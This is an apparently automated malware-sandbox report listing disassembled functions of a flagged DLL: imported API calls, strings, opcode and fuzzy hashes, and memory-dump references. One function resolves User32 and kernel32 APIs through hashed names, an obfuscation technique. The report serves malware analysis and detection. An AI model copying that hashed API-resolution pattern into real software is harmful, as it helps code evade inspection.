VariantClear.OLEAUT32(?), ref: 6D0238AE
VariantClear.OLEAUT32(?), ref: 6D0238B4
VariantClear.OLEAUT32(?), ref: 6D0238BA

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Variant$Init$Clear$Copy
String ID:
API String ID: 3833040332-0
Opcode ID: bf703b325c10b64de6a3f9c7a8bdb83519dd1c05de7a070f47a778a53f0df7b9
Instruction ID: 3ecfe5cf2de1ca82ac0c54474c867a666062b2df61a055978929866f566b5a71
Opcode Fuzzy Hash: bf703b325c10b64de6a3f9c7a8bdb83519dd1c05de7a070f47a778a53f0df7b9
Instruction Fuzzy Hash: 62816AB1905219AFEF04DFA8C884FEEBBB9FF49304F15415DE905AB241DB34A905CBA0

Function 6D02D880 Relevance: 18.2, APIs: 12, Instructions: 202COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6D02D8EC
VariantInit.OLEAUT32 ref: 6D02D902
VariantInit.OLEAUT32(?), ref: 6D02D90D
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000002), ref: 6D02D929
SafeArrayPutElement.OLEAUT32(?,?,?), ref: 6D02D966
VariantClear.OLEAUT32(?), ref: 6D02D973
SafeArrayPutElement.OLEAUT32(?,?,?), ref: 6D02D9B4
VariantClear.OLEAUT32(?), ref: 6D02D9C1
SafeArrayDestroy.OLEAUT32(?), ref: 6D02DA6F
VariantClear.OLEAUT32(?), ref: 6D02DA80
VariantClear.OLEAUT32(?), ref: 6D02DA87
VariantClear.OLEAUT32(?), ref: 6D02DA99

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Variant$Clear$ArraySafe$Init$Element$CreateDestroyVector
String ID:
API String ID: 1625659656-0
Opcode ID: 0064272d1773bb3ea9e368995692c84c8b6b183c7943eceaf36fbc63040dd3ab
Instruction ID: 6bbc7c2fa5c1f213a69c0392bedffd595448d62cb113c0f849d120b7b124a583
Opcode Fuzzy Hash: 0064272d1773bb3ea9e368995692c84c8b6b183c7943eceaf36fbc63040dd3ab
Instruction Fuzzy Hash: AA8135722093029FDB00CF68C884B5AB7F9FFC9715F048A5DE9959B240E774E905CBA2

Function 6D0112A0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 171COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6D0112DD
std::_Xinvalid_argument.LIBCPMT ref: 6D0112FB
_memmove.LIBCMT ref: 6D011368
_memmove.LIBCMT ref: 6D01139F
std::_Xinvalid_argument.LIBCPMT ref: 6D01140C

Strings

string too long, xrefs: 6D0112D8, 6D0112F6
invalid string position, xrefs: 6D011407

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$_memmove
String ID: invalid string position$string too long
API String ID: 2168136238-4289949731
Opcode ID: e8b485be68b69c486f74dba17df8475e1a56833acbf12c56ff6280dff055c521
Instruction ID: 3ac0ac8eb53a4a8117cb4af4fe9bf84c3ebd91027be7db096e9303e1426b3440
Opcode Fuzzy Hash: e8b485be68b69c486f74dba17df8475e1a56833acbf12c56ff6280dff055c521
Instruction Fuzzy Hash: 164108313086445BF718CEECEC80B5EB3AAEB95314760492EF591CBA45D770D845C7A3

Function 6D02CD20 Relevance: 15.5, APIs: 10, Instructions: 485COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6D02CD5C
VariantInit.OLEAUT32(?), ref: 6D02CD65
VariantInit.OLEAUT32(?), ref: 6D02CD6B
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6D02CD76
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6D02CDAA
VariantClear.OLEAUT32(?), ref: 6D02CDB7
SafeArrayDestroy.OLEAUT32(00000000), ref: 6D02D2A5
VariantClear.OLEAUT32(?), ref: 6D02D2B5
VariantClear.OLEAUT32(?), ref: 6D02D2BB
VariantClear.OLEAUT32(?), ref: 6D02D2C1

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Variant$Clear$ArrayInitSafe$CreateDestroyElementVector
String ID:
API String ID: 2515392200-0
Opcode ID: a9c33c6d674cbcfd30f6751d2c05683de4216fd21650cd75ba4d6c19320705c4
Instruction ID: 64e997b2183f42eb1b629d774d1b1f80e681e5f3ef628faf6e89f505b7ce8ca6
Opcode Fuzzy Hash: a9c33c6d674cbcfd30f6751d2c05683de4216fd21650cd75ba4d6c19320705c4
Instruction Fuzzy Hash: 0512F775A15706AFDB18DB94DD84DAAB3B9BF8D300F14466CF50A9BB91CA30F841CB90

Function 6D024BA0 Relevance: 15.5, APIs: 10, Instructions: 475COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6D024BDC
VariantInit.OLEAUT32(?), ref: 6D024BE5
VariantInit.OLEAUT32(?), ref: 6D024BEB
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6D024BF6
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6D024C2A
VariantClear.OLEAUT32(?), ref: 6D024C37
SafeArrayDestroy.OLEAUT32(00000000), ref: 6D025107
VariantClear.OLEAUT32(?), ref: 6D025117
VariantClear.OLEAUT32(?), ref: 6D02511D
VariantClear.OLEAUT32(?), ref: 6D025123

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Variant$Clear$ArrayInitSafe$CreateDestroyElementVector
String ID:
API String ID: 2515392200-0
Opcode ID: b71fda4c422473647cdde964e4130ade02ebbc388914f52c6865368b4970e0d7
Instruction ID: ea525bd4a71a885bcbaaa474e28947c171606a9a354ce46dae7c4ed870160e02
Opcode Fuzzy Hash: b71fda4c422473647cdde964e4130ade02ebbc388914f52c6865368b4970e0d7
Instruction Fuzzy Hash: 24120575605705AFDB18DB98DD84DBAB3B9BF8D300F144668F50AABB91CA30F841CB50

Function 6D01DCD0 Relevance: 15.1, APIs: 10, Instructions: 138COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6D01DD00
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000003), ref: 6D01DD10
SafeArrayPutElement.OLEAUT32(00000000,6D022FFF,?), ref: 6D01DD47
VariantClear.OLEAUT32(?), ref: 6D01DD4F
SafeArrayPutElement.OLEAUT32(00000000,6D022FFF,?), ref: 6D01DD6D
SafeArrayPutElement.OLEAUT32(00000000,00000002,?), ref: 6D01DDA4
VariantClear.OLEAUT32(?), ref: 6D01DDAC
SafeArrayDestroy.OLEAUT32(00000000), ref: 6D01DE16
SafeArrayDestroy.OLEAUT32(00000000), ref: 6D01DE27
VariantClear.OLEAUT32(?), ref: 6D01DE31

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArraySafe$Variant$ClearElement$Destroy$CreateInitVector
String ID:
API String ID: 3525949229-0
Opcode ID: 3401607c90895ae4b63b4bb25d2439a3e65a4891a0c92c6926707d75d1cae93d
Instruction ID: 278af17abd05ba16144a829538b57906f985c1bc85c2571297dee88194ee07af
Opcode Fuzzy Hash: 3401607c90895ae4b63b4bb25d2439a3e65a4891a0c92c6926707d75d1cae93d
Instruction Fuzzy Hash: A1512C75A04609AFDB00DFA5C884FAFBBB9FF9A701F118119EA15A7350DB35D901CBA0

Function 6D03C1B0 Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 266COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6D03C213

Part of subcall function 6D0690D8: std::exception::exception.LIBCMT ref: 6D0690ED
Part of subcall function 6D0690D8: __CxxThrowException@8.LIBCMT ref: 6D069102
Part of subcall function 6D0690D8: std::exception::exception.LIBCMT ref: 6D069113

Strings

gfff, xrefs: 6D03C2EA
gfff, xrefs: 6D03C222
gfff, xrefs: 6D03C3A3
vector<T> too long, xrefs: 6D03C20E
gfff, xrefs: 6D03C259
gfff, xrefs: 6D03C1F2
gfff, xrefs: 6D03C3F7

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: gfff$gfff$gfff$gfff$gfff$gfff$vector<T> too long
API String ID: 1823113695-1254974138
Opcode ID: dc4da0759ca437e8955150272eca4196757b09ed7154cb4650148eaa3b644cf6
Instruction ID: 90b72e0ec00ca79ae9a6a12364e4552cd436a6c714be00c38a4815218a3f919a
Opcode Fuzzy Hash: dc4da0759ca437e8955150272eca4196757b09ed7154cb4650148eaa3b644cf6
Instruction Fuzzy Hash: F9918775A04609AFDB18CF59DC90FAEB7B9EB88304F05861DE959DB740D730BA04CB91

Function 6D010CD0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 196COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6D010D3A
std::_Xinvalid_argument.LIBCPMT ref: 6D010D60
_memmove.LIBCMT ref: 6D010D95
std::_Xinvalid_argument.LIBCPMT ref: 6D010DBF
_memmove.LIBCMT ref: 6D010E3E

Strings

string too long, xrefs: 6D010D5B, 6D010DBA
invalid string position, xrefs: 6D010D35

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$_memmove
String ID: invalid string position$string too long
API String ID: 2168136238-4289949731
Opcode ID: bd0843d86aa01488bbe1dc38e607b41cbe752acfeea0eb7d3cde1a92a242e856
Instruction ID: de36a59c5b074ec24aeeec1e2e933db4b919752fe7210431a4df79b04d963550
Opcode Fuzzy Hash: bd0843d86aa01488bbe1dc38e607b41cbe752acfeea0eb7d3cde1a92a242e856
Instruction Fuzzy Hash: 1051A33171C1059BE724CE9EEC80B5EB7EAEBC9354B20851EF895C7285DB70EC6087A1

Function 6D031B20 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 154libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(User32.dll,?,00000000,?,?,?,?,?,?,?,?), ref: 6D031C5E
LoadLibraryW.KERNEL32(User32.dll,?,00000000,?,?,?,?,?,?,?,?), ref: 6D031C69
GetProcAddress.KERNEL32(00000000,F1F2E532), ref: 6D031CA2
GetModuleHandleW.KERNEL32(kernel32.dll,?,00000000), ref: 6D031CC1
LoadLibraryW.KERNEL32(kernel32.dll,?,00000000), ref: 6D031CCC
GetProcAddress.KERNEL32(00000000,EFF3E52B), ref: 6D031D0A

Strings

User32.dll, xrefs: 6D031C57, 6D031C64
kernel32.dll, xrefs: 6D031CBA, 6D031CC7

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID: User32.dll$kernel32.dll
API String ID: 310444273-1965990335
Opcode ID: aff2ddd6eaba22df1d67e8a58a85204b65dde009c37ac84cb150d105e8948b57
Instruction ID: 4d083cd0e34172bb0b04a6b3b08c9201fa2a4044ed3d00be3be4b3e3a6a73cf4
Opcode Fuzzy Hash: aff2ddd6eaba22df1d67e8a58a85204b65dde009c37ac84cb150d105e8948b57
Instruction Fuzzy Hash: 56615274504A129FE720CF18C5C5B6BBBF6FF4A300F618958D5968BB42D736E846CB82

Function 6D074409 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::getArgumentList.LIBCMT ref: 6D07442E

Part of subcall function 6D073FC9: Replicator::operator[].LIBCMT ref: 6D07404C
Part of subcall function 6D073FC9: DName::operator+=.LIBCMT ref: 6D074054

DName::operator+.LIBCMT ref: 6D074487
DName::DName.LIBCMT ref: 6D0744DF

Strings

,..., xrefs: 6D074473
<ellipsis>, xrefs: 6D0744C9, 6D0744CE
..., xrefs: 6D0744C2
,<ellipsis>, xrefs: 6D07447A, 6D07447F
void, xrefs: 6D0744D7

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArgumentDecorator::getListNameName::Name::operator+Name::operator+=Replicator::operator[]
String ID: ,...$,<ellipsis>$...$<ellipsis>$void
API String ID: 834187326-2211150622
Opcode ID: f9b7ca5a585834d48e6d975f6ae25f77eeb0c8bad042c2fe88acb450bb0fea8c
Instruction ID: 148ae46b637b8156c78601f85e944ae0287f70b7b7036cb6e01d57a1c57871e5
Opcode Fuzzy Hash: f9b7ca5a585834d48e6d975f6ae25f77eeb0c8bad042c2fe88acb450bb0fea8c
Instruction Fuzzy Hash: 62219DB4704509AFEF11CF68C450BA97BF4EB4A38AB098299E945CF217CB30D943DB58

Function 6D075D36 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 55COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::UScore.LIBCMT ref: 6D075D40
DName::DName.LIBCMT ref: 6D075D4C

Part of subcall function 6D073B3B: DName::doPchar.LIBCMT ref: 6D073B6C

UnDecorator::getScopedName.LIBCMT ref: 6D075D8B
DName::operator+=.LIBCMT ref: 6D075D95
DName::operator+=.LIBCMT ref: 6D075DA4
DName::operator+=.LIBCMT ref: 6D075DB0
DName::operator+=.LIBCMT ref: 6D075DBD

Strings

void, xrefs: 6D075D9C

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Name::operator+=$Name$Decorator::Decorator::getName::Name::doPcharScopedScore
String ID: void
API String ID: 1480779885-3531332078
Opcode ID: b76097ac76d0275a0312e49abcdd4eefad12d798018f6453c574aafa5c3d06fb
Instruction ID: 26b26d4f76927fe819851e1037ab47edf6ad5c14a37134a39634eba000ef2f97
Opcode Fuzzy Hash: b76097ac76d0275a0312e49abcdd4eefad12d798018f6453c574aafa5c3d06fb
Instruction Fuzzy Hash: 9111C2B4904244AFFB25DF68C89DBFC7BB0AB05305F064098D1259F2E1DB70AE46CB48

Function 6D02840E Relevance: 13.8, APIs: 9, Instructions: 332COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6D0284BF
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6D0284D2
SafeArrayGetElement.OLEAUT32 ref: 6D02850A

Part of subcall function 6D023A90: SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6D023B71
Part of subcall function 6D023A90: SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6D023B83

Part of subcall function 6D0269C0: SafeArrayGetLBound.OLEAUT32(?,00000001,00000000), ref: 6D026A08
Part of subcall function 6D0269C0: SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6D026A15
Part of subcall function 6D0269C0: SafeArrayGetElement.OLEAUT32(?,?,?), ref: 6D026A41

SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEBF

Part of subcall function 6D01DFB0: SafeArrayGetLBound.OLEAUT32(?,00000001,00000000), ref: 6D01DFF6
Part of subcall function 6D01DFB0: SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6D01E003
Part of subcall function 6D01DFB0: SafeArrayGetElement.OLEAUT32(?,?,?), ref: 6D01E02F

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArraySafe$Bound$Destroy$Element
String ID:
API String ID: 959723449-0
Opcode ID: 8dae9c4ee980f497cd8a99c96576af7759d625befbd62088d40d513acb239f08
Instruction ID: b0296e9f0e773d9e1f416914c0fbdd764fdbb078f71c0c3e952c9d11891c0569
Opcode Fuzzy Hash: 8dae9c4ee980f497cd8a99c96576af7759d625befbd62088d40d513acb239f08
Instruction Fuzzy Hash: B0C18674A052059FEF10DF68CC80FADB7B9AF85308F608199E619EB286DB71ED41CB50

Function 6D02C850 Relevance: 13.8, APIs: 9, Instructions: 271COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6D02C88F
VariantInit.OLEAUT32(?), ref: 6D02C895
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6D02C8A0
SafeArrayPutElement.OLEAUT32(00000000,00000000,?), ref: 6D02C8D5
VariantClear.OLEAUT32(?), ref: 6D02C8E1
std::tr1::_Xweak.LIBCPMT ref: 6D02CB1C
SafeArrayDestroy.OLEAUT32(?), ref: 6D02CB39
VariantClear.OLEAUT32(?), ref: 6D02CB49
VariantClear.OLEAUT32(?), ref: 6D02CB4F

Memory Dump Source

